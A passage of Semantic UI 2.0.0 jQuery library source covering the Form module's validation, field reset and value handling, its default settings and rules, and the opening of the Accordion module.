.each(function () {\n              var\n                $field       = $(this),\n                $element     = $field.parent(),\n                $fieldGroup  = $field.closest($group),\n                $prompt      = $fieldGroup.find(selector.prompt),\n                defaultValue = $field.data(metadata.defaultValue) || '',\n                isCheckbox   = $element.is(selector.uiCheckbox),\n                isDropdown   = $element.is(selector.uiDropdown),\n                isErrored    = $fieldGroup.hasClass(className.error)\n              ;\n              if(isErrored) {\n                module.verbose('Resetting error on field', $fieldGroup);\n                $fieldGroup.removeClass(className.error);\n                $prompt.remove();\n              }\n              if(isDropdown) {\n                module.verbose('Resetting dropdown value', $element, defaultValue);\n                $element.dropdown('clear');\n              }\n              else if(isCheckbox) {\n                $field.prop('checked', false);\n              }\n              else {\n                module.verbose('Resetting field value', $field, defaultValue);\n                $field.val('');\n              }\n            })\n          ;\n        },\n\n        reset: function() {\n          $field\n            .each(function () {\n              var\n                $field       = $(this),\n                $element     = $field.parent(),\n                $fieldGroup  = $field.closest($group),\n                $prompt      = $fieldGroup.find(selector.prompt),\n                defaultValue = $field.data(metadata.defaultValue),\n                isCheckbox   = $element.is(selector.uiCheckbox),\n                isDropdown   = $element.is(selector.uiDropdown),\n                isErrored    = $fieldGroup.hasClass(className.error)\n              ;\n              if(defaultValue === undefined) {\n                defaultValue = '';\n              }\n              if(isErrored) {\n                module.verbose('Resetting error on field', $fieldGroup);\n                $fieldGroup.removeClass(className.error);\n                $prompt.remove();\n              }\n              if(isDropdown) {\n                module.verbose('Resetting dropdown value', $element, defaultValue);\n                $element.dropdown('restore defaults');\n              }\n              else if(isCheckbox) {\n                module.verbose('Resetting checkbox value', $element, defaultValue);\n                $field.prop('checked', defaultValue);\n              }\n              else {\n                module.verbose('Resetting field value', $field, defaultValue);\n                $field.val(defaultValue);\n              }\n            })\n          ;\n        },\n\n        is: {\n          valid: function() {\n            var\n              allValid = true\n            ;\n            module.verbose('Checking if form is valid');\n            $.each(validation, function(fieldName, field) {\n              if( !( module.validate.field(field) ) ) {\n                allValid = false;\n              }\n            });\n            return allValid;\n          }\n        },\n\n        removeEvents: function() {\n          $module\n            .off(eventNamespace)\n          ;\n          $field\n            .off(eventNamespace)\n          ;\n          $submit\n            .off(eventNamespace)\n          ;\n          $field\n            .off(eventNamespace)\n          ;\n        },\n\n        event: {\n          field: {\n            keydown: function(event) {\n              var\n                $field  = $(this),\n                key     = event.which,\n                keyCode = {\n                  enter  : 13,\n                  escape : 27\n                }\n              ;\n              if( key == keyCode.escape) {\n                module.verbose('Escape key pressed blurring field');\n                $field\n                  .blur()\n                ;\n              }\n              if(!event.ctrlKey && key == keyCode.enter && $field.is(selector.input) && $field.not(selector.checkbox).length > 0 ) {\n                if(!keyHeldDown) {\n                  $field\n                    .one('keyup' + eventNamespace, module.event.field.keyup)\n                  ;\n                  module.submit();\n                  module.debug('Enter pressed on input submitting form');\n                }\n                keyHeldDown = true;\n              }\n            },\n            keyup: function() {\n              keyHeldDown = false;\n            },\n            blur: function() {\n              var\n                $field          = $(this),\n                $fieldGroup     = $field.closest($group),\n                validationRules = module.get.validation($field)\n              ;\n              if( $fieldGroup.hasClass(className.error) ) {\n                module.debug('Revalidating field', $field, validationRules);\n                module.validate.field( validationRules );\n              }\n              else if(settings.on == 'blur' || settings.on == 'change') {\n                module.validate.field( validationRules );\n              }\n            },\n            change: function() {\n              var\n                $field      = $(this),\n                $fieldGroup = $field.closest($group)\n              ;\n              if(settings.on == 'change' || ( $fieldGroup.hasClass(className.error) && settings.revalidate) ) {\n                clearTimeout(module.timer);\n                module.timer = setTimeout(function() {\n                  module.debug('Revalidating field', $field,  module.get.validation($field));\n                  module.validate.field( module.get.validation($field) );\n                }, settings.delay);\n              }\n            }\n          }\n\n        },\n\n        get: {\n          changeEvent: function(type, $input) {\n            if(type == 'checkbox' || type == 'radio' || type == 'hidden' || $input.is('select')) {\n              return 'change';\n            }\n            else {\n              return module.get.inputEvent();\n            }\n          },\n          inputEvent: function() {\n            return (document.createElement('input').oninput !== undefined)\n              ? 'input'\n              : (document.createElement('input').onpropertychange !== undefined)\n                ? 'propertychange'\n                : 'keyup'\n            ;\n          },\n          settings: function() {\n            var\n              firstProperty\n            ;\n            if($.isPlainObject(parameters)) {\n              var\n                keys             = Object.keys(parameters),\n                isLegacySettings = (keys.length > 0)\n                  ? (parameters[keys[0]].identifier !== undefined)\n                  : false\n              ;\n              if(isLegacySettings) {\n                // 1.x (ducktyped)\n                settings   = $.extend(true, {}, $.fn.form.settings, legacyParameters);\n                validation = $.extend({}, $.fn.form.settings.defaults, parameters);\n                module.error(settings.error.oldSyntax, element);\n                module.verbose('Extending settings from legacy parameters', validation, settings);\n              }\n              else {\n                // 2.x\n                settings   = $.extend(true, {}, $.fn.form.settings, parameters);\n                validation = $.extend({}, $.fn.form.settings.defaults, settings.fields);\n                module.verbose('Extending settings', validation, settings);\n              }\n            }\n            else {\n              settings   = $.fn.form.settings;\n              validation = $.fn.form.settings.defaults;\n              module.verbose('Using default form validation', validation, settings);\n            }\n\n            // shorthand\n            namespace       = settings.namespace;\n            metadata        = settings.metadata;\n            selector        = settings.selector;\n            className       = settings.className;\n            error           = settings.error;\n            moduleNamespace = 'module-' + namespace;\n            eventNamespace  = '.' + namespace;\n\n            // grab instance\n            instance = $module.data(moduleNamespace);\n\n            // refresh selector cache\n            module.refresh();\n          },\n          field: function(identifier) {\n            module.verbose('Finding field with identifier', identifier);\n            if( $field.filter('#' + identifier).length > 0 ) {\n              return $field.filter('#' + identifier);\n            }\n            else if( $field.filter('[name=\"' + identifier +'\"]').length > 0 ) {\n              return $field.filter('[name=\"' + identifier +'\"]');\n            }\n            else if( $field.filter('[name=\"' + identifier +'[]\"]').length > 0 ) {\n              return $field.filter('[name=\"' + identifier +'[]\"]');\n            }\n            else if( $field.filter('[data-' + metadata.validate + '=\"'+ identifier +'\"]').length > 0 ) {\n              return $field.filter('[data-' + metadata.validate + '=\"'+ identifier +'\"]');\n            }\n            return $('<input/>');\n          },\n          fields: function(fields) {\n            var\n              $fields = $()\n            ;\n            $.each(fields, function(index, name) {\n              $fields = $fields.add( module.get.field(name) );\n            });\n            return $fields;\n          },\n          validation: function($field) {\n            var\n              rules\n            ;\n            if(!validation) {\n              return false;\n            }\n            $.each(validation, function(fieldName, field) {\n              if( module.get.field(field.identifier)[0] == $field[0] ) {\n                rules = field;\n              }\n            });\n            return rules || false;\n          },\n          value: function (field) {\n            var\n              fields = [],\n              results\n            ;\n            fields.push(field);\n            results = module.get.values.call(element, fields);\n            return results[field];\n          },\n          values: function (fields) {\n            var\n              $fields = $.isArray(fields)\n                ? module.get.fields(fields)\n                : $field,\n              values = {}\n            ;\n            $fields.each(function(index, field) {\n              var\n                $field     = $(field),\n                type       = $field.prop('type'),\n                name       = $field.prop('name'),\n                value      = $field.val(),\n                isCheckbox = $field.is(selector.checkbox),\n                isRadio    = $field.is(selector.radio),\n                isMultiple = (name.indexOf('[]') !== -1),\n                isChecked  = (isCheckbox)\n                  ? $field.is(':checked')\n                  : false\n              ;\n              if(name) {\n                if(isMultiple) {\n                  name = name.replace('[]', '');\n                  if(!values[name]) {\n                    values[name] = [];\n                  }\n                  if(isCheckbox) {\n                    if(isChecked) {\n                      values[name].push(value);\n                    }\n                    else {\n                      module.debug('Omitted unchecked checkbox', $field);\n                      return true;\n                    }\n                  }\n                  else {\n                    values[name].push(value);\n                  }\n                }\n                else {\n                  if(isRadio) {\n                    if(isChecked) {\n                      values[name] = value;\n                    }\n                  }\n                  else if(isCheckbox) {\n                    if(isChecked) {\n                      values[name] = true;\n                    }\n                    else {\n                      module.debug('Omitted unchecked checkbox', $field);\n                      return true;\n                    }\n                  }\n                  else {\n                    values[name] = value;\n                  }\n                }\n              }\n            });\n            return values;\n          }\n        },\n\n        has: {\n\n          field: function(identifier) {\n            module.verbose('Checking for existence of a field with identifier', identifier);\n            if( $field.filter('#' + identifier).length > 0 ) {\n              return true;\n            }\n            else if( $field.filter('[name=\"' + identifier +'\"]').length > 0 ) {\n              return true;\n            }\n            else if( $field.filter('[data-' + metadata.validate + '=\"'+ identifier +'\"]').length > 0 ) {\n              return true;\n            }\n            return false;\n          }\n\n        },\n\n        add: {\n          prompt: function(identifier, errors) {\n            var\n              $field       = module.get.field(identifier),\n              $fieldGroup  = $field.closest($group),\n              $prompt      = $fieldGroup.children(selector.prompt),\n              promptExists = ($prompt.length !== 0)\n            ;\n            errors = (typeof errors == 'string')\n              ? [errors]\n              : errors\n            ;\n            module.verbose('Adding field error state', identifier);\n            $fieldGroup\n              .addClass(className.error)\n            ;\n            if(settings.inline) {\n              if(!promptExists) {\n                $prompt = settings.templates.prompt(errors);\n                $prompt\n                  .appendTo($fieldGroup)\n                ;\n              }\n              $prompt\n                .html(errors[0])\n              ;\n              if(!promptExists) {\n                if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n                  module.verbose('Displaying error with css transition', settings.transition);\n                  $prompt.transition(settings.transition + ' in', settings.duration);\n                }\n                else {\n                  module.verbose('Displaying error with fallback javascript animation');\n                  $prompt\n                    .fadeIn(settings.duration)\n                  ;\n                }\n              }\n              else {\n                module.verbose('Inline errors are disabled, no inline error added', identifier);\n              }\n            }\n          },\n          errors: function(errors) {\n            module.debug('Adding form error messages', errors);\n            $message\n              .html( settings.templates.error(errors) )\n            ;\n          }\n        },\n\n        remove: {\n          prompt: function(field) {\n            var\n              $field      = module.get.field(field.identifier),\n              $fieldGroup = $field.closest($group),\n              $prompt     = $fieldGroup.children(selector.prompt)\n            ;\n            $fieldGroup\n              .removeClass(className.error)\n            ;\n            if(settings.inline && $prompt.is(':visible')) {\n              module.verbose('Removing prompt for field', field);\n              if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n                $prompt.transition(settings.transition + ' out', settings.duration, function() {\n                  $prompt.remove();\n                });\n              }\n              else {\n                $prompt\n                  .fadeOut(settings.duration, function(){\n                    $prompt.remove();\n                  })\n                ;\n              }\n            }\n          }\n        },\n\n        set: {\n          success: function() {\n            $module\n              .removeClass(className.error)\n              .addClass(className.success)\n            ;\n          },\n          defaults: function () {\n            $field\n              .each(function () {\n                var\n                  $field     = $(this),\n                  isCheckbox = ($field.filter(selector.checkbox).length > 0),\n                  value      = (isCheckbox)\n                    ? $field.is(':checked')\n                    : $field.val()\n                ;\n                $field.data(metadata.defaultValue, value);\n              })\n            ;\n          },\n          error: function() {\n            $module\n              .removeClass(className.success)\n              .addClass(className.error)\n            ;\n          },\n          value: function (field, value) {\n            var\n              fields = {}\n            ;\n            fields[field] = value;\n            return module.set.values.call(element, fields);\n          },\n          values: function (fields) {\n            if($.isEmptyObject(fields)) {\n              return;\n            }\n            $.each(fields, function(key, value) {\n              var\n                $field      = module.get.field(key),\n                $element    = $field.parent(),\n                isMultiple  = $.isArray(value),\n                isCheckbox  = $element.is(selector.uiCheckbox),\n                isDropdown  = $element.is(selector.uiDropdown),\n                isRadio     = ($field.is(selector.radio) && isCheckbox),\n                fieldExists = ($field.length > 0),\n                $multipleField\n              ;\n              if(fieldExists) {\n                if(isMultiple && isCheckbox) {\n                  module.verbose('Selecting multiple', value, $field);\n                  $element.checkbox('uncheck');\n                  $.each(value, function(index, value) {\n                    $multipleField = $field.filter('[value=\"' + value + '\"]');\n                    $element       = $multipleField.parent();\n                    if($multipleField.length > 0) {\n                      $element.checkbox('check');\n                    }\n                  });\n                }\n                else if(isRadio) {\n                  module.verbose('Selecting radio value', value, $field);\n                  $field.filter('[value=\"' + value + '\"]')\n                    .parent(selector.uiCheckbox)\n                      .checkbox('check')\n                  ;\n                }\n                else if(isCheckbox) {\n                  module.verbose('Setting checkbox value', value, $element);\n                  if(value === true) {\n                    $element.checkbox('check');\n                  }\n                  else {\n                    $element.checkbox('uncheck');\n                  }\n                }\n                else if(isDropdown) {\n                  module.verbose('Setting dropdown value', value, $element);\n                  $element.dropdown('set selected', value);\n                }\n                else {\n                  module.verbose('Setting field value', value, $field);\n                  $field.val(value);\n                }\n              }\n            });\n          }\n        },\n\n        validate: {\n\n          form: function(event) {\n            var\n              apiRequest\n            ;\n\n            // input keydown event will fire submit repeatedly by browser default\n            if(keyHeldDown) {\n              return false;\n            }\n\n            // reset errors\n            formErrors = [];\n            if( module.is.valid() ) {\n              module.debug('Form has no validation errors, submitting');\n              module.set.success();\n              return settings.onSuccess.call(element, event);\n            }\n            else {\n              module.debug('Form has errors');\n              module.set.error();\n              if(!settings.inline) {\n                module.add.errors(formErrors);\n              }\n              // prevent ajax submit\n              if($module.data('moduleApi') !== undefined) {\n                event.stopImmediatePropagation();\n              }\n              return settings.onFailure.call(element, formErrors);\n            }\n          },\n\n          // takes a validation object and returns whether field passes validation\n          field: function(field) {\n            var\n              $field      = module.get.field(field.identifier),\n              fieldValid  = true,\n              fieldErrors = []\n            ;\n            if($field.prop('disabled')) {\n              module.debug('Field is disabled. Skipping', field.identifier);\n              fieldValid = true;\n            }\n            else if(field.optional && $.trim($field.val()) === ''){\n              module.debug('Field is optional and empty. Skipping', field.identifier);\n              fieldValid = true;\n            }\n            else if(field.rules !== undefined) {\n              $.each(field.rules, function(index, rule) {\n                if( module.has.field(field.identifier) && !( module.validate.rule(field, rule) ) ) {\n                  module.debug('Field is invalid', field.identifier, rule.type);\n                  fieldErrors.push(rule.prompt);\n                  fieldValid = false;\n                }\n              });\n            }\n            if(fieldValid) {\n              module.remove.prompt(field, fieldErrors);\n              settings.onValid.call($field);\n            }\n            else {\n              formErrors = formErrors.concat(fieldErrors);\n              module.add.prompt(field.identifier, fieldErrors);\n              settings.onInvalid.call($field, fieldErrors);\n              return false;\n            }\n            return true;\n          },\n\n          // takes validation rule and returns whether field passes rule\n          rule: function(field, validation) {\n            var\n              $field        = module.get.field(field.identifier),\n              type          = validation.type,\n              value         = $field.val(),\n              bracket       = type.match(settings.regExp.bracket),\n              isValid       = true,\n              rule,\n              ancillary,\n              functionType\n            ;\n            // cast to string\n            value = $.trim($field.val() + '');\n\n            // if bracket notation is used, pass in extra parameters\n            if(bracket) {\n              ancillary    = '' + bracket[1];\n              functionType = type.replace(bracket[0], '');\n              rule         = settings.rules[functionType];\n              if( !$.isFunction(rule) ) {\n                module.error(error.noRule, functionType);\n                return;\n              }\n              isValid = rule.call($field, value, ancillary);\n            }\n            else {\n              rule = settings.rules[type];\n              if( !$.isFunction(rule) ) {\n                module.error(error.noRule, type);\n                return;\n              }\n              isValid = rule.call($field, value);\n            }\n            return isValid;\n          }\n        },\n\n        setting: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n      module.initialize();\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.form.settings = {\n\n  name              : 'Form',\n  namespace         : 'form',\n\n  debug             : false,\n  verbose           : false,\n  performance       : true,\n\n  fields            : false,\n\n  keyboardShortcuts : true,\n  on                : 'submit',\n  inline            : false,\n\n  delay             : 200,\n  revalidate        : true,\n\n  transition        : 'scale',\n  duration          : 200,\n\n  onValid           : function() {},\n  onInvalid         : function() {},\n  onSuccess         : function() { return true; },\n  onFailure         : function() { return false; },\n\n  metadata : {\n    defaultValue : 'default',\n    validate     : 'validate'\n  },\n\n  regExp: {\n    bracket : /\\[(.*)\\]/i,\n    escape  : /[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]/g,\n    email   : \"[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\",\n    integer : /^\\-?\\d+$/,\n    flags   : /^\\/(.*)\\/(.*)?/,\n    url     : /(ftp|http|https):\\/\\/(\\w+:{0,1}\\w*@)?(\\S+)(:[0-9]+)?(\\/|\\/([\\w#!:.?+=&%@!\\-\\/]))?/i\n  },\n\n  selector : {\n    checkbox   : 'input[type=\"checkbox\"], input[type=\"radio\"]',\n    clear      : '.clear',\n    field      : 'input, textarea, select',\n    group      : '.field',\n    input      : 'input',\n    message    : '.error.message',\n    prompt     : '.prompt.label',\n    radio      : 'input[type=\"radio\"]',\n    reset      : '.reset:not([type=\"reset\"])',\n    submit     : '.submit:not([type=\"submit\"])',\n    uiCheckbox : '.ui.checkbox',\n    uiDropdown : '.ui.dropdown'\n  },\n\n  className : {\n    error   : 'error',\n    label   : 'ui prompt label',\n    pressed : 'down',\n    success : 'success'\n  },\n\n  error: {\n    oldSyntax : 'Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically.',\n    noRule    : 'There is no rule matching the one you specified',\n    method    : 'The method you called is not defined.'\n  },\n\n  templates: {\n\n    // template that produces error message\n    error: function(errors) {\n      var\n        html = '<ul class=\"list\">'\n      ;\n      $.each(errors, function(index, value) {\n        html += '<li>' + value + '</li>';\n      });\n      html += '</ul>';\n      return $(html);\n    },\n\n    // template that produces label\n    prompt: function(errors) {\n      return $('<div/>')\n        .addClass('ui red pointing prompt label')\n        .html(errors[0])\n      ;\n    }\n  },\n\n  rules: {\n\n    // checkbox checked\n    checked: function() {\n      return ($(this).filter(':checked').length > 0);\n    },\n\n    // value contains text (insensitive)\n    contains: function(value, text) {\n      // escape regex characters\n      text = text.replace($.fn.form.settings.regExp.escape, \"\\\\$&\");\n      return (value.search( new RegExp(text, 'i') ) !== -1);\n    },\n\n    // value contains text (case sensitive)\n    containsExactly: function(value, text) {\n      // escape regex characters\n      text = text.replace($.fn.form.settings.regExp.escape, \"\\\\$&\");\n      return (value.search( new RegExp(text) ) !== -1);\n    },\n\n    // is most likely an email\n    email: function(value){\n      var\n        emailRegExp = new RegExp($.fn.form.settings.regExp.email, 'i')\n      ;\n      return emailRegExp.test(value);\n    },\n\n    // is not empty or blank string\n    empty: function(value) {\n      return !(value === undefined || '' === value || $.isArray(value) && value.length === 0);\n    },\n\n    // is valid integer\n    integer: function(value, range) {\n      var\n        intRegExp = $.fn.form.settings.regExp.integer,\n        min,\n        max,\n        parts\n      ;\n      if(range === undefined || range === '' || range === '..') {\n        // do nothing\n      }\n      else if(range.indexOf('..') == -1) {\n        if(intRegExp.test(range)) {\n          min = max = range - 0;\n        }\n      }\n      else {\n        parts = range.split('..', 2);\n        if(intRegExp.test(parts[0])) {\n          min = parts[0] - 0;\n        }\n        if(intRegExp.test(parts[1])) {\n          max = parts[1] - 0;\n        }\n      }\n      return (\n        intRegExp.test(value) &&\n        (min === undefined || value >= min) &&\n        (max === undefined || value <= max)\n      );\n    },\n\n    // is value (case insensitive)\n    is: function(value, text) {\n      text = (typeof text == 'string')\n        ? text.toLowerCase()\n        : text\n      ;\n      value = (typeof value == 'string')\n        ? value.toLowerCase()\n        : value\n      ;\n      return (value == text);\n    },\n\n    // is value\n    isExactly: function(value, text) {\n      return (value == text);\n    },\n\n    // is at least string length\n    length: function(value, requiredLength) {\n      return (value !== undefined)\n        ? (value.length >= requiredLength)\n        : false\n      ;\n    },\n\n    // matches another field\n    different: function(value, identifier) {\n      // use either id or name of field\n      var\n        $form = $(this),\n        matchingValue\n      ;\n      if( $('[data-validate=\"'+ identifier +'\"]').length > 0 ) {\n        matchingValue = $('[data-validate=\"'+ identifier +'\"]').val();\n      }\n      else if($('#' + identifier).length > 0) {\n        matchingValue = $('#' + identifier).val();\n      }\n      else if($('[name=\"' + identifier +'\"]').length > 0) {\n        matchingValue = $('[name=\"' + identifier + '\"]').val();\n      }\n      else if( $('[name=\"' + identifier +'[]\"]').length > 0 ) {\n        matchingValue = $('[name=\"' + identifier +'[]\"]');\n      }\n      return (matchingValue !== undefined)\n        ? ( value.toString() !== matchingValue.toString() )\n        : false\n      ;\n    },\n\n    // matches another field\n    match: function(value, identifier) {\n      // use either id or name of field\n      var\n        $form = $(this),\n        matchingValue\n      ;\n      if( $('[data-validate=\"'+ identifier +'\"]').length > 0 ) {\n        matchingValue = $('[data-validate=\"'+ identifier +'\"]').val();\n      }\n      else if($('#' + identifier).length > 0) {\n        matchingValue = $('#' + identifier).val();\n      }\n      else if($('[name=\"' + identifier +'\"]').length > 0) {\n        matchingValue = $('[name=\"' + identifier + '\"]').val();\n      }\n      else if( $('[name=\"' + identifier +'[]\"]').length > 0 ) {\n        matchingValue = $('[name=\"' + identifier +'[]\"]');\n      }\n      return (matchingValue !== undefined)\n        ? ( value.toString() == matchingValue.toString() )\n        : false\n      ;\n    },\n\n    maxCount: function(value, count) {\n      value = value.split(',');\n      return ($.isArray(value) && value.length <= count);\n    },\n\n    exactCount: function(value, count) {\n      value = value.split(',');\n      return ($.isArray(value) && value.length == count);\n    },\n\n    minCount: function(value, count) {\n      value = value.split(',');\n      return ($.isArray(value) && value.length >= count);\n    },\n\n    regExp: function(value, regExp) {\n      var\n        regExpParts = regExp.match($.fn.form.settings.regExp.flags),\n        flags\n      ;\n      // regular expression specified as /baz/gi (flags)\n      if(regExpParts) {\n        regExp = (regExpParts.length >= 2)\n          ? regExpParts[1]\n          : regExp\n        ;\n        flags = (regExpParts.length >= 3)\n          ? regExpParts[2]\n          : ''\n        ;\n      }\n      return value.match( new RegExp(regExp, flags) );\n    },\n\n    // string length is less than max length\n    maxLength: function(value, maxLength) {\n      return (value !== undefined)\n        ? (value.length <= maxLength)\n        : false\n      ;\n    },\n\n    // value is not value (case insensitive)\n    not: function(value, notValue) {\n      value = (typeof value == 'string')\n        ? value.toLowerCase()\n        : value\n      ;\n      notValue = (typeof notValue == 'string')\n        ? notValue.toLowerCase()\n        : notValue\n      ;\n      return (value != notValue);\n    },\n\n    // value is not value (case sensitive)\n    notExactly: function(value, notValue) {\n      return (value != notValue);\n    },\n\n    // value is most likely url\n    url: function(value) {\n      return $.fn.form.settings.regExp.url.match(value);\n    }\n  }\n\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Accordion\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.accordion = function(parameters) {\n  var\n    $allModules     = $(this),\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    requestAnimationFrame = window.requestAnimationFrame\n      || window.mozRequestAnimationFrame\n      || window.webkitRequestAnimationFrame\n      || window.msRequestAnimationFrame\n      || function(callback) { setTimeout(callback, 0); },\n\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.accordion.settings, parameters)\n          : $.extend({}, $.fn.accordion.settings),\n\n        className       = settings.className,\n        namespace       = settings.namespace,\n        selector        = settings.selector,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n        moduleSelector  = $allModules.selector || '',\n\n        $module  = $(this),\n        $title   = $module.find(selector.title),\n        $content = $module.find(selector.content),\n\n        element  = this,\n        instance = $module.data(moduleNamespace),\n        observer,\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing', $module);\n          module.bind.events();\n          module.observeChanges();\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.debug('Destroying previous instance', $module);\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        refresh: function() {\n          $title   = $module.find(selector.title);\n          $content = $module.find(selector.content);\n        },\n\n        observeChanges: function() {\n          if('MutationObserver' in window) {\n            observer = new MutationObserver(function(mutations) {\n              module.debug('DOM tree modified, updating selector cache');\n              module.refresh();\n            });\n            observer.observe(element, {\n              childList : true,\n              subtree   : true\n            });\n            module.debug('Setting up mutation observer', observer);\n          }\n        },\n\n        bind: {\n          events: function() {\n            module.debug('Binding delegated events');\n            $module\n              .on(settings.on + eventNamespace, selector.trigger, module.event.click)\n            ;\n          }\n        },\n\n        event: {\n          click: function() {\n            module.toggle.call(this);\n          }\n        },\n\n        toggle: function(query) {\n          var\n            $activeTitle = (query !== undefined)\n              ? (typeof query === 'number')\n                ? $title.eq(query)\n                : $(query).closest(selector.title)\n              : $(this).closest(selector.title),\n            $activeContent = $activeTitle.next($content),\n            isAnimating = $activeContent.hasClass(className.animating),\n            isActive    = $activeContent.hasClass(className.active),\n            isOpen      = (isActive && !isAnimating),\n            isOpening   = (!isActive && isAnimating)\n          ;\n          module.debug('Toggling visibility of content', $activeTitle);\n          if(isOpen || isOpening) {\n            if(settings.collapsible) {\n              module.close.call($activeTitle);\n            }\n            else {\n              module.debug('Cannot close accordion content collapsing is disabled');\n            }\n          }\n          else {\n            module.open.call($activeTitle);\n          }\n        },\n\n        open: function(query) {\n          var\n            $activeTitle = (query !== undefined)\n              ? (typeof query === 'number')\n                ? $title.eq(query)\n                : $(query).closest(selector.title)\n              : $(this).closest(selector.title),\n            $activeContent = $activeTitle.next($content),\n            isAnimating = $activeContent.hasClass(className.animating),\n            isActive    = $activeContent.hasClass(className.active),\n            isOpen      = (isActive || isAnimating)\n          ;\n          if(isOpen) {\n            module.debug('Accordion already open, skipping', $activeContent);\n            return;\n          }\n          module.debug('Opening accordion content', $activeTitle);\n          settings.onOpening.call($activeContent);\n          if(settings.exclusive) {\n            module.closeOthers.call($activeTitle);\n          }\n          $activeTitle\n            .addClass(className.active)\n          ;\n          $activeContent\n            .stop(true, true)\n            .addClass(className.animating)\n          ;\n          if(settings.animateChildren) {\n            if($.fn.transition !== undefined && $module.transition('is supported')) {\n              $activeContent\n                .children()\n                  .transition({\n                    animation   : 'fade in',\n                    queue       : false,\n                    useFailSafe : true,\n                    debug       : settings.debug,\n                    verbose     : settings.verbose,\n                    duration    : settings.duration\n                  })\n              ;\n            }\n            else {\n              $activeContent\n                .children()\n                  .stop(true, true)\n                  .animate({\n                    opacity: 1\n                  }, settings.duration, module.resetOpacity)\n              ;\n            }\n          }\n          $activeContent\n            .slideDown(settings.duration, settings.easing, function() {\n              $activeContent\n                .removeClass(className.animating)\n                .addClass(className.active)\n              ;\n              module.reset.display.call(this);\n              